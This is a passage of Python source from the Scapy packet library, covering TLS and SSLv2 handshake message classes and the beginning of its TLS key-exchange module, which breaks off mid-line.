self.tls_session.session_hash = hash_object.digest(to_hash) else: # Previous TLS version use concatenation of MD5 & SHA1 from scapy.layers.tls.crypto.hash import Hash_MD5, Hash_SHA self.tls_session.session_hash = ( Hash_MD5().digest(to_hash) + Hash_SHA().digest(to_hash) ) if self.tls_session.pre_master_secret: self.tls_session.compute_ms_and_derive_keys() if not self.tls_session.master_secret: # There are still no master secret (we're just passive) if self.tls_session.use_nss_master_secret_if_present(): # we have a NSS file self.tls_session.compute_ms_and_derive_keys() ############################################################################### # Finished # ############################################################################### class _VerifyDataField(StrLenField): def getfield(self, pkt, s): if pkt.tls_session.tls_version == 0x0300: sep = 36 elif pkt.tls_session.tls_version and pkt.tls_session.tls_version >= 0x0304: sep = pkt.tls_session.rcs.hash.hash_len else: sep = 12 return s[sep:], s[:sep] class TLSFinished(_TLSHandshake): name = "TLS Handshake - Finished" fields_desc = [ByteEnumField("msgtype", 20, _tls_handshake_type), ThreeBytesField("msglen", None), _VerifyDataField("vdata", None)] def build(self, *args, **kargs): fval = self.getfieldval("vdata") if fval is None: s = self.tls_session handshake_msg = b"".join(s.handshake_messages) if s.post_handshake: handshake_msg += b"".join(s.post_handshake_messages) con_end = s.connection_end tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version < 0x0304: ms = s.master_secret self.vdata = s.wcs.prf.compute_verify_data(con_end, "write", handshake_msg, ms) else: self.vdata = s.compute_tls13_verify_data(con_end, "write", handshake_msg) return _TLSHandshake.build(self, *args, **kargs) def post_dissection(self, pkt): s = self.tls_session if not s.frozen: handshake_msg = b"".join(s.handshake_messages) if s.post_handshake: handshake_msg += b"".join(s.post_handshake_messages) tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version < 0x0304 and s.master_secret is not None: ms = s.master_secret con_end = s.connection_end verify_data = s.rcs.prf.compute_verify_data(con_end, "read", handshake_msg, ms) if self.vdata != verify_data: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid Finished received [%s]", pkt_info) # noqa: E501 elif tls_version >= 0x0304: con_end = s.connection_end verify_data = s.compute_tls13_verify_data(con_end, "read", handshake_msg) if self.vdata != verify_data: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid Finished received [%s]", pkt_info) # noqa: E501 def post_build_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304 and not s.post_handshake: s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_pwcs_commit = True if s.connection_end == "server": s.compute_tls13_traffic_secrets() elif s.connection_end == "client": s.compute_tls13_traffic_secrets_end() s.compute_tls13_resumption_secret() if s.connection_end == "client": s.post_handshake = True s.post_handshake_messages = [] def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304 and not s.post_handshake: s.prcs = readConnState(ciphersuite=type(s.rcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_prcs_commit = True if s.connection_end == "client": s.compute_tls13_traffic_secrets() elif s.connection_end == "server": s.compute_tls13_traffic_secrets_end() s.compute_tls13_resumption_secret() if s.connection_end == "server": s.post_handshake = True s.post_handshake_messages = [] # Additional handshake messages ############################################################################### # HelloVerifyRequest # ############################################################################### class TLSHelloVerifyRequest(_TLSHandshake): """ Defined for DTLS, see RFC 6347. """ name = "TLS Handshake - Hello Verify Request" fields_desc = [ByteEnumField("msgtype", 21, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("cookielen", None, fmt="B", length_of="cookie"), StrLenField("cookie", "", length_from=lambda pkt: pkt.cookielen)] ############################################################################### # CertificateURL # ############################################################################### _tls_cert_chain_types = {0: "individual_certs", 1: "pkipath"} class URLAndOptionalHash(Packet): name = "URLAndOptionHash structure for TLSCertificateURL" fields_desc = [FieldLenField("urllen", None, length_of="url"), StrLenField("url", "", length_from=lambda pkt: pkt.urllen), FieldLenField("hash_present", None, fmt="B", length_of="hash", adjust=lambda pkt, x: int(math.ceil(x / 20.))), # noqa: E501 StrLenField("hash", "", length_from=lambda pkt: 20 * pkt.hash_present)] def guess_payload_class(self, p): return Padding class TLSCertificateURL(_TLSHandshake): """ Defined in RFC 4366. PkiPath structure of section 8 is not implemented yet. """ name = "TLS Handshake - Certificate URL" fields_desc = [ByteEnumField("msgtype", 21, _tls_handshake_type), ThreeBytesField("msglen", None), ByteEnumField("certchaintype", None, _tls_cert_chain_types), FieldLenField("uahlen", None, length_of="uah"), PacketListField("uah", [], URLAndOptionalHash, length_from=lambda pkt: pkt.uahlen)] ############################################################################### # CertificateStatus # ############################################################################### class ThreeBytesLenField(FieldLenField): def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x): FieldLenField.__init__(self, name, default, length_of=length_of, fmt='!I', adjust=adjust) def i2repr(self, pkt, x): if x is None: return 0 return repr(self.i2h(pkt, x)) def addfield(self, pkt, s, val): return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 _cert_status_cls = {1: OCSP_Response} class _StatusField(PacketLenField): def m2i(self, pkt, m): idtype = pkt.status_type cls = self.cls if idtype in _cert_status_cls: cls = _cert_status_cls[idtype] return cls(m) class TLSCertificateStatus(_TLSHandshake): name = "TLS Handshake - Certificate Status" fields_desc = [ByteEnumField("msgtype", 22, _tls_handshake_type), ThreeBytesField("msglen", None), ByteEnumField("status_type", 1, _cert_status_type), ThreeBytesLenField("responselen", None, length_of="response"), _StatusField("response", None, Raw, length_from=lambda pkt: pkt.responselen)] ############################################################################### # SupplementalData # ############################################################################### class SupDataEntry(Packet): name = "Supplemental Data Entry - Generic" fields_desc = [ShortField("sdtype", None), FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len)] def guess_payload_class(self, p): return Padding class UserMappingData(Packet): name = "User Mapping Data" fields_desc = [ByteField("version", None), FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, p): return Padding class SupDataEntryUM(Packet): name = "Supplemental Data Entry - User Mapping" fields_desc = [ShortField("sdtype", None), FieldLenField("len", None, length_of="data", adjust=lambda pkt, x: x + 2), FieldLenField("dlen", None, length_of="data"), PacketListField("data", [], UserMappingData, length_from=lambda pkt:pkt.dlen)] def guess_payload_class(self, p): return Padding class TLSSupplementalData(_TLSHandshake): name = "TLS Handshake - Supplemental Data" fields_desc = [ByteEnumField("msgtype", 23, _tls_handshake_type), ThreeBytesField("msglen", None), ThreeBytesLenField("sdatalen", None, length_of="sdata"), PacketListField("sdata", [], SupDataEntry, length_from=lambda pkt: pkt.sdatalen)] ############################################################################### # NewSessionTicket # ############################################################################### class TLSNewSessionTicket(_TLSHandshake): """ XXX When knowing the right secret, we should be able to read the ticket. """ name = "TLS Handshake - New Session Ticket" fields_desc = [ByteEnumField("msgtype", 4, _tls_handshake_type), ThreeBytesField("msglen", None), IntField("lifetime", 0xffffffff), FieldLenField("ticketlen", None, length_of="ticket"), StrLenField("ticket", "", length_from=lambda pkt: pkt.ticketlen)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): s = kargs.get("tls_session", None) if s and s.tls_version and s.tls_version >= 0x0304: return TLS13NewSessionTicket return TLSNewSessionTicket def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) if self.tls_session.connection_end == "client": self.tls_session.client_session_ticket = self.ticket class TLS13NewSessionTicket(_TLSHandshake): """ Uncomment the TicketField line for parsing a RFC 5077 ticket. """ name = "TLS 1.3 Handshake - New Session Ticket" fields_desc = [ByteEnumField("msgtype", 4, _tls_handshake_type), ThreeBytesField("msglen", None), IntField("ticket_lifetime", 0xffffffff), IntField("ticket_age_add", 0), FieldLenField("noncelen", None, fmt="B", length_of="ticket_nonce"), StrLenField("ticket_nonce", "", length_from=lambda pkt: pkt.noncelen), FieldLenField("ticketlen", None, length_of="ticket"), # TicketField("ticket", "", StrLenField("ticket", "", length_from=lambda pkt: pkt.ticketlen), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - (pkt.ticketlen or 0) - # noqa: E501 pkt.noncelen or 0) - 13)] # noqa: E501 def build(self): fval = self.getfieldval("ticket") if fval == b"": # Here, the ticket is just a random 48-byte label # The ticket may also be a self-encrypted and self-authenticated # value self.ticket = os.urandom(48) fval = self.getfieldval("ticket_nonce") if fval == b"": # Nonce is randomly chosen self.ticket_nonce = os.urandom(32) fval = self.getfieldval("ticket_lifetime") if fval == 0xffffffff: # ticket_lifetime is set to 12 hours self.ticket_lifetime = 43200 fval = self.getfieldval("ticket_age_add") if fval == 0: # ticket_age_add is a random 32-bit value self.ticket_age_add = struct.unpack("!I", os.urandom(4))[0] return _TLSHandshake.build(self) def post_dissection_tls_session_update(self, msg_str): if self.tls_session.connection_end == "client": self.tls_session.client_session_ticket = self.ticket ############################################################################### # EndOfEarlyData # ############################################################################### class TLS13EndOfEarlyData(_TLSHandshake): name = "TLS 1.3 Handshake - End Of Early Data" fields_desc = [ByteEnumField("msgtype", 5, _tls_handshake_type), ThreeBytesField("msglen", None)] ############################################################################### # KeyUpdate # ############################################################################### _key_update_request = {0: "update_not_requested", 1: "update_requested"} class TLS13KeyUpdate(_TLSHandshake): name = "TLS 1.3 Handshake - Key Update" fields_desc = [ByteEnumField("msgtype", 24, _tls_handshake_type), ThreeBytesField("msglen", None), ByteEnumField("request_update", 0, _key_update_request)] def post_build_tls_session_update(self, msg_str): s = self.tls_session s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_pwcs_commit = True s.compute_tls13_next_traffic_secrets(s.connection_end, "write") def post_dissection_tls_session_update(self, msg_str): s = self.tls_session s.prcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite), connection_end=s.connection_end, tls_version=s.tls_version) s.triggered_prcs_commit = True if s.connection_end == "server": s.compute_tls13_next_traffic_secrets("client", "read") elif s.connection_end == "client": s.compute_tls13_next_traffic_secrets("server", "read") ############################################################################### # All handshake messages defined in this module # ############################################################################### _tls_handshake_cls = {0: TLSHelloRequest, 1: TLSClientHello, 2: TLSServerHello, 3: TLSHelloVerifyRequest, 4: TLSNewSessionTicket, 8: TLSEncryptedExtensions, 11: TLSCertificate, 12: TLSServerKeyExchange, 13: TLSCertificateRequest, 14: TLSServerHelloDone, 15: TLSCertificateVerify, 16: TLSClientKeyExchange, 20: TLSFinished, 21: TLSCertificateURL, 22: TLSCertificateStatus, 23: TLSSupplementalData} _tls13_handshake_cls = {1: TLS13ClientHello, 2: TLS13ServerHello, 4: TLS13NewSessionTicket, 5: TLS13EndOfEarlyData, 8: TLSEncryptedExtensions, 11: TLS13Certificate, 13: TLS13CertificateRequest, 15: TLSCertificateVerify, 20: TLSFinished, 24: TLS13KeyUpdate} ================================================ FILE: scapy/layers/tls/handshake_sslv2.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Maxence Tury """ SSLv2 handshake fields & logic. """ import struct from scapy.error import log_runtime, warning from scapy.utils import randstring from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ ShortEnumField, StrLenField, XStrField, XStrLenField from scapy.packet import Padding from scapy.layers.tls.cert import Cert from scapy.layers.tls.basefields import _tls_version, _TLSVersionField from scapy.layers.tls.handshake import _CipherSuitesField from scapy.layers.tls.keyexchange import _TLSSignatureField, _TLSSignature from scapy.layers.tls.session import (_GenericTLSSessionInheritance, readConnState, writeConnState) from scapy.layers.tls.crypto.suites import (_tls_cipher_suites, _tls_cipher_suites_cls, get_usable_ciphersuites, SSL_CK_DES_192_EDE3_CBC_WITH_MD5) ############################################################################### # Generic SSLv2 Handshake message # ############################################################################### _sslv2_handshake_type = {0: "error", 1: "client_hello", 2: "client_master_key", 3: "client_finished", 4: "server_hello", 5: "server_verify", 6: "server_finished", 7: "request_certificate", 8: "client_certificate"} class _SSLv2Handshake(_GenericTLSSessionInheritance): """ Inherited by other Handshake classes to get post_build(). Also used as a fallback for unknown TLS Handshake packets. """ name = "SSLv2 Handshake Generic message" fields_desc = [ByteEnumField("msgtype", None, _sslv2_handshake_type)] def guess_payload_class(self, p): return Padding def tls_session_update(self, msg_str): """ Covers both post_build- and post_dissection- context updates. """ self.tls_session.handshake_messages.append(msg_str) self.tls_session.handshake_messages_parsed.append(self) ############################################################################### # Error # ############################################################################### _tls_error_code = {1: "no_cipher", 2: "no_certificate", 4: "bad_certificate", 6: "unsupported_certificate_type"} class SSLv2Error(_SSLv2Handshake): """ SSLv2 Error. """ name = "SSLv2 Handshake - Error" fields_desc = [ByteEnumField("msgtype", 0, _sslv2_handshake_type), ShortEnumField("code", None, _tls_error_code)] ############################################################################### # ClientHello # ############################################################################### class _SSLv2CipherSuitesField(_CipherSuitesField): def __init__(self, name, default, dico, length_from=None): _CipherSuitesField.__init__(self, name, default, dico, length_from=length_from) self.itemfmt = b"" self.itemsize = 3 def i2m(self, pkt, val): if val is None: val2 = [] val2 = [(x >> 16, x & 0x00ffff) for x in val] return b"".join([struct.pack(">BH", x[0], x[1]) for x in val2]) def m2i(self, pkt, m): res = [] while m: res.append(struct.unpack("!I", b"\x00" + m[:3])[0]) m = m[3:] return res class SSLv2ClientHello(_SSLv2Handshake): """ SSLv2 ClientHello. """ name = "SSLv2 Handshake - Client Hello" fields_desc = [ByteEnumField("msgtype", 1, _sslv2_handshake_type), _TLSVersionField("version", 0x0002, _tls_version), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), FieldLenField("sidlen", None, fmt="!H", length_of="sid"), FieldLenField("challengelen", None, fmt="!H", length_of="challenge"), XStrLenField("sid", b"", length_from=lambda pkt:pkt.sidlen), _SSLv2CipherSuitesField("ciphers", [SSL_CK_DES_192_EDE3_CBC_WITH_MD5], _tls_cipher_suites, length_from=lambda pkt: pkt.cipherslen), # noqa: E501 XStrLenField("challenge", b"", length_from=lambda pkt:pkt.challengelen)] def tls_session_update(self, msg_str): super(SSLv2ClientHello, self).tls_session_update(msg_str) self.tls_session.advertised_tls_version = self.version self.tls_session.sslv2_common_cs = self.ciphers self.tls_session.sslv2_challenge = self.challenge ############################################################################### # ServerHello # ############################################################################### class _SSLv2CertDataField(StrLenField): def getfield(self, pkt, s): tmp_len = 0 if self.length_from is not None: tmp_len = self.length_from(pkt) try: certdata = Cert(s[:tmp_len]) except Exception: # Packets are sometimes wrongly interpreted as SSLv2 # (see record.py). We ignore failures silently certdata = s[:tmp_len] return s[tmp_len:], certdata def i2len(self, pkt, i): if isinstance(i, Cert): return len(i.der) return len(i) def i2m(self, pkt, i): if isinstance(i, Cert): return i.der return i class SSLv2ServerHello(_SSLv2Handshake): """ SSLv2 ServerHello. """ name = "SSLv2 Handshake - Server Hello" fields_desc = [ByteEnumField("msgtype", 4, _sslv2_handshake_type), ByteField("sid_hit", 0), ByteEnumField("certtype", 1, {1: "x509_cert"}), _TLSVersionField("version", 0x0002, _tls_version), FieldLenField("certlen", None, fmt="!H", length_of="cert"), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), FieldLenField("connection_idlen", None, fmt="!H", length_of="connection_id"), _SSLv2CertDataField("cert", b"", length_from=lambda pkt: pkt.certlen), _SSLv2CipherSuitesField("ciphers", [], _tls_cipher_suites, length_from=lambda pkt: pkt.cipherslen), # noqa: E501 XStrLenField("connection_id", b"", length_from=lambda pkt: pkt.connection_idlen)] def tls_session_update(self, msg_str): """ XXX Something should be done about the session ID here. """ super(SSLv2ServerHello, self).tls_session_update(msg_str) s = self.tls_session client_cs = s.sslv2_common_cs css = [cs for cs in client_cs if cs in self.ciphers] s.sslv2_common_cs = css s.sslv2_connection_id = self.connection_id s.tls_version = self.version if self.cert is not None: s.server_certs = [self.cert] ############################################################################### # ClientMasterKey # ############################################################################### class _SSLv2CipherSuiteField(EnumField): def __init__(self, name, default, dico): EnumField.__init__(self, name, default, dico) def i2m(self, pkt, val): if val is None: return b"" val2 = (val >> 16, val & 0x00ffff) return struct.pack(">BH", val2[0], val2[1]) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def m2i(self, pkt, m): return struct.unpack("!I", b"\x00" + m[:3])[0] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, s) class _SSLv2EncryptedKeyField(XStrLenField): def i2repr(self, pkt, x): s = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, x) if pkt.decryptedkey is not None: dx = pkt.decryptedkey ds = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, dx) s += " [decryptedkey= %s]" % ds return s class SSLv2ClientMasterKey(_SSLv2Handshake): """ SSLv2 ClientMasterKey. """ __slots__ = ["decryptedkey"] name = "SSLv2 Handshake - Client Master Key" fields_desc = [ByteEnumField("msgtype", 2, _sslv2_handshake_type), _SSLv2CipherSuiteField("cipher", None, _tls_cipher_suites), FieldLenField("clearkeylen", None, fmt="!H", length_of="clearkey"), FieldLenField("encryptedkeylen", None, fmt="!H", length_of="encryptedkey"), FieldLenField("keyarglen", None, fmt="!H", length_of="keyarg"), XStrLenField("clearkey", "", length_from=lambda pkt: pkt.clearkeylen), _SSLv2EncryptedKeyField("encryptedkey", "", length_from=lambda pkt: pkt.encryptedkeylen), # noqa: E501 XStrLenField("keyarg", "", length_from=lambda pkt: pkt.keyarglen)] def __init__(self, *args, **kargs): """ When post_building, the packets fields are updated (this is somewhat non-standard). We might need these fields later, but calling __str__ on a new packet (i.e. not dissected from a raw string) applies post_build to an object different from the original one... unless we hackishly always set self.explicit to 1. """ self.decryptedkey = kargs.pop("decryptedkey", b"") super(SSLv2ClientMasterKey, self).__init__(*args, **kargs) self.explicit = 1 def pre_dissect(self, s): clearkeylen = struct.unpack("!H", s[4:6])[0] encryptedkeylen = struct.unpack("!H", s[6:8])[0] encryptedkeystart = 10 + clearkeylen encryptedkey = s[encryptedkeystart:encryptedkeystart + encryptedkeylen] if self.tls_session.server_rsa_key: self.decryptedkey = \ self.tls_session.server_rsa_key.decrypt(encryptedkey) else: self.decryptedkey = None return s def post_build(self, pkt, pay): cs_val = None if self.cipher is None: common_cs = self.tls_session.sslv2_common_cs cs_vals = get_usable_ciphersuites(common_cs, "SSLv2") if len(cs_vals) == 0: warning("No known common cipher suite between SSLv2 Hellos.") cs_val = 0x0700c0 cipher = b"\x07\x00\xc0" else: cs_val = cs_vals[0] # XXX choose the best one cipher = struct.pack(">BH", cs_val >> 16, cs_val & 0x00ffff) cs_cls = _tls_cipher_suites_cls[cs_val] self.cipher = cs_val else: cipher = pkt[1:4] cs_val = struct.unpack("!I", b"\x00" + cipher)[0] if cs_val not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d from ClientMasterKey", cs_val) cs_cls = None else: cs_cls = _tls_cipher_suites_cls[cs_val] if cs_cls: if (self.encryptedkey == b"" and len(self.tls_session.server_certs) > 0): # else, the user is responsible for export slicing & encryption key = randstring(cs_cls.cipher_alg.key_len) if self.clearkey == b"" and cs_cls.kx_alg.export: self.clearkey = key[:-5] if self.decryptedkey == b"": if cs_cls.kx_alg.export: self.decryptedkey = key[-5:] else: self.decryptedkey = key pubkey = self.tls_session.server_certs[0].pubkey self.encryptedkey = pubkey.encrypt(self.decryptedkey) if self.keyarg == b"" and cs_cls.cipher_alg.type == "block": self.keyarg = randstring(cs_cls.cipher_alg.block_size) clearkey = self.clearkey or b"" if self.clearkeylen is None: self.clearkeylen = len(clearkey) clearkeylen = struct.pack("!H", self.clearkeylen) encryptedkey = self.encryptedkey or b"" if self.encryptedkeylen is None: self.encryptedkeylen = len(encryptedkey) encryptedkeylen = struct.pack("!H", self.encryptedkeylen) keyarg = self.keyarg or b"" if self.keyarglen is None: self.keyarglen = len(keyarg) keyarglen = struct.pack("!H", self.keyarglen) s = (pkt[:1] + cipher + clearkeylen + encryptedkeylen + keyarglen + clearkey + encryptedkey + keyarg) return s + pay def tls_session_update(self, msg_str): super(SSLv2ClientMasterKey, self).tls_session_update(msg_str) s = self.tls_session cs_val = self.cipher if cs_val not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d from ClientMasterKey", cs_val) cs_cls = None else: cs_cls = _tls_cipher_suites_cls[cs_val] tls_version = s.tls_version or 0x0002 connection_end = s.connection_end wcs_seq_num = s.wcs.seq_num s.pwcs = writeConnState(ciphersuite=cs_cls, connection_end=connection_end, seq_num=wcs_seq_num, tls_version=tls_version) rcs_seq_num = s.rcs.seq_num s.prcs = readConnState(ciphersuite=cs_cls, connection_end=connection_end, seq_num=rcs_seq_num, tls_version=tls_version) if self.decryptedkey is not None: s.master_secret = self.clearkey + self.decryptedkey s.compute_sslv2_km_and_derive_keys() if s.pwcs.cipher.type == "block": s.pwcs.cipher.iv = self.keyarg if s.prcs.cipher.type == "block": s.prcs.cipher.iv = self.keyarg s.triggered_prcs_commit = True s.triggered_pwcs_commit = True ############################################################################### # ServerVerify # ############################################################################### class SSLv2ServerVerify(_SSLv2Handshake): """ In order to parse a ServerVerify, the exact message string should be fed to the class. This is how SSLv2 defines the challenge length... """ name = "SSLv2 Handshake - Server Verify" fields_desc = [ByteEnumField("msgtype", 5, _sslv2_handshake_type), XStrField("challenge", "")] def build(self, *args, **kargs): fval = self.getfieldval("challenge") if fval is None: self.challenge = self.tls_session.sslv2_challenge return super(SSLv2ServerVerify, self).build(*args, **kargs) def post_dissection(self, pkt): s = self.tls_session if s.sslv2_challenge is not None: if self.challenge != s.sslv2_challenge: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid ServerVerify received [%s]", pkt_info) # noqa: E501 ############################################################################### # RequestCertificate # ############################################################################### class SSLv2RequestCertificate(_SSLv2Handshake): """ In order to parse a RequestCertificate, the exact message string should be fed to the class. This is how SSLv2 defines the challenge length... """ name = "SSLv2 Handshake - Request Certificate" fields_desc = [ByteEnumField("msgtype", 7, _sslv2_handshake_type), ByteEnumField("authtype", 1, {1: "md5_with_rsa"}), XStrField("challenge", "")] def tls_session_update(self, msg_str): super(SSLv2RequestCertificate, self).tls_session_update(msg_str) self.tls_session.sslv2_challenge_clientcert = self.challenge ############################################################################### # ClientCertificate # ############################################################################### class SSLv2ClientCertificate(_SSLv2Handshake): """ SSLv2 ClientCertificate. """ name = "SSLv2 Handshake - Client Certificate" fields_desc = [ByteEnumField("msgtype", 8, _sslv2_handshake_type), ByteEnumField("certtype", 1, {1: "x509_cert"}), FieldLenField("certlen", None, fmt="!H", length_of="certdata"), FieldLenField("responselen", None, fmt="!H", length_of="responsedata"), _SSLv2CertDataField("certdata", b"", length_from=lambda pkt: pkt.certlen), _TLSSignatureField("responsedata", None, length_from=lambda pkt: pkt.responselen)] def build(self, *args, **kargs): s = self.tls_session sig = self.getfieldval("responsedata") test = (sig is None and s.sslv2_key_material is not None and s.sslv2_challenge_clientcert is not None and len(s.server_certs) > 0) if test: s = self.tls_session m = (s.sslv2_key_material + s.sslv2_challenge_clientcert + s.server_certs[0].der) self.responsedata = _TLSSignature(tls_session=s) self.responsedata._update_sig(m, s.client_key) else: self.responsedata = b"" return super(SSLv2ClientCertificate, self).build(*args, **kargs) def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session test = (len(s.client_certs) > 0 and s.sslv2_key_material is not None and s.sslv2_challenge_clientcert is not None and len(s.server_certs) > 0) if test: m = (s.sslv2_key_material + s.sslv2_challenge_clientcert + s.server_certs[0].der) sig_test = self.responsedata._verify_sig(m, s.client_certs[0]) if not sig_test: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: invalid client CertificateVerify signature [%s]", pkt_info) # noqa: E501 def tls_session_update(self, msg_str): super(SSLv2ClientCertificate, self).tls_session_update(msg_str) if self.certdata: self.tls_session.client_certs = [self.certdata] ############################################################################### # Finished # ############################################################################### class SSLv2ClientFinished(_SSLv2Handshake): """ In order to parse a ClientFinished, the exact message string should be fed to the class. SSLv2 does not offer any other way to know the c_id length. """ name = "SSLv2 Handshake - Client Finished" fields_desc = [ByteEnumField("msgtype", 3, _sslv2_handshake_type), XStrField("connection_id", "")] def build(self, *args, **kargs): fval = self.getfieldval("connection_id") if fval == b"": self.connection_id = self.tls_session.sslv2_connection_id return super(SSLv2ClientFinished, self).build(*args, **kargs) def post_dissection(self, pkt): s = self.tls_session if s.sslv2_connection_id is not None: if self.connection_id != s.sslv2_connection_id: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid client Finished received [%s]", pkt_info) # noqa: E501 class SSLv2ServerFinished(_SSLv2Handshake): """ In order to parse a ServerFinished, the exact message string should be fed to the class. SSLv2 does not offer any other way to know the sid length. """ name = "SSLv2 Handshake - Server Finished" fields_desc = [ByteEnumField("msgtype", 6, _sslv2_handshake_type), XStrField("sid", "")] def build(self, *args, **kargs): fval = self.getfieldval("sid") if fval == b"" and self.tls_session: self.sid = self.tls_session.sid return super(SSLv2ServerFinished, self).build(*args, **kargs) def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) self.tls_session.sid = self.sid ############################################################################### # All handshake messages defined in this module # ############################################################################### _sslv2_handshake_cls = {0: SSLv2Error, 1: SSLv2ClientHello, 2: SSLv2ClientMasterKey, 3: SSLv2ClientFinished, 4: SSLv2ServerHello, 5: SSLv2ServerVerify, 6: SSLv2ServerFinished, 7: SSLv2RequestCertificate, 8: SSLv2ClientCertificate} ================================================ FILE: scapy/layers/tls/keyexchange.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez """ TLS key exchange logic. """ import math import struct from scapy.config import conf, crypto_validator from scapy.error import warning from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ FieldListField, PacketField, ShortEnumField, ShortField, \ StrFixedLenField, StrLenField from scapy.compat import orb from scapy.packet import Packet, Raw, Padding from scapy.layers.tls.cert import PubKeyRSA, PrivKeyRSA from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.basefields import _tls_version, _TLSClientVersionField from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip from scapy.layers.tls.crypto.groups import ( _ffdh_groups, _tls_named_curves, _tls_named_groups_generate, _tls_named_groups_import, _tls_named_groups_pubbytes, ) if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import dh, ec from cryptography.hazmat.primitives import serialization if conf.crypto_valid_advanced: from cryptography.hazmat.primitives.asymmetric import x25519 from cryptography.hazmat.primitives.asymmetric import x448 ############################################################################### # Common Fields # ############################################################################### _tls_hash_sig = {0x0000: "none+anon", 0x0001: "none+rsa", 0x0002: "none+dsa", 0x0003: "none+ecdsa", 0x0100: "md5+anon", 0x0101: "md5+rsa", 0x0102: "md5+dsa", 0x0103: "md5+ecdsa", 0x0200: "sha1+anon", 0x0201: "sha1+rsa", 0x0202: "sha1+dsa", 0x0203: "sha1+ecdsa", 0x0300: "sha224+anon", 0x0301: "sha224+rsa", 0x0302: "sha224+dsa", 0x0303: "sha224+ecdsa", 0x0400: "sha256+anon", 0x0401: "sha256+rsa", 0x0402: "sha256+dsa", 0x0403: "sha256+ecdsa", 0x0500: "sha384+anon", 0x0501: "sha384+rsa", 0x0502: "sha384+dsa", 0x0503: "sha384+ecdsa", 0x0600: "sha512+anon", 0x0601: "sha512+rsa", 0x0602: "sha512+dsa", 0x0603: "sha512+ecdsa", 0x0804: "sha256+rsaepss", 0x0805: "sha384+rsaepss", 0x0806: "sha512+rsaepss", 0x0807: "ed25519", 0x0808: "ed448", 0x0809: "sha256+rsapss", 0x080a: "sha384+rsapss", 0x080b: "sha512+rsapss"} def phantom_mode(pkt): """ We expect this. If tls_version is not set, this means we did not process any complete ClientHello, so we're most probably reading/building a signature_algorithms extension, hence we cannot be in phantom_mode. However, if the tls_version has been set, we test for TLS 1.2. """ if not pkt.tls_session: return False if not pkt.tls_session.tls_version: return False return pkt.tls_session.tls_version < 0x0303 def phantom_decorate(f, get_or_add): """ Decorator for version-dependent fields. If get_or_add is True (means get), we return s, self.phantom_value. If it is False (means add), we return s. """ def wrapper(*args): self, pkt, s = args[:3] if phantom_mode(pkt): if get_or_add: return s, self.phantom_value return s return f(*args) return wrapper class SigAndHashAlgField(EnumField): """Used in _TLSSignature.""" phantom_value = None getfield = phantom_decorate(EnumField.getfield, True) addfield = phantom_decorate(EnumField.addfield, False) class SigAndHashAlgsLenField(FieldLenField): """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.""" phantom_value = 0 getfield = phantom_decorate(FieldLenField.getfield, True) addfield = phantom_decorate(FieldLenField.addfield, False) class SigAndHashAlgsField(FieldListField): """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.""" phantom_value = [] getfield = phantom_decorate(FieldListField.getfield, True) addfield = phantom_decorate(FieldListField.addfield, False) class SigLenField(FieldLenField): """There is a trick for SSLv2, which uses implicit lengths...""" def getfield(self, pkt, s): v = pkt.tls_session.tls_version if v and v < 0x0300: return s, None return super(SigLenField, self).getfield(pkt, s) def addfield(self, pkt, s, val): """With SSLv2 you will never be able to add a sig_len.""" v = pkt.tls_session.tls_version if v and v < 0x0300: return s return super(SigLenField, self).addfield(pkt, s, val) class SigValField(StrLenField): """There is a trick for SSLv2, which uses implicit lengths...""" def getfield(self, pkt, m): s = 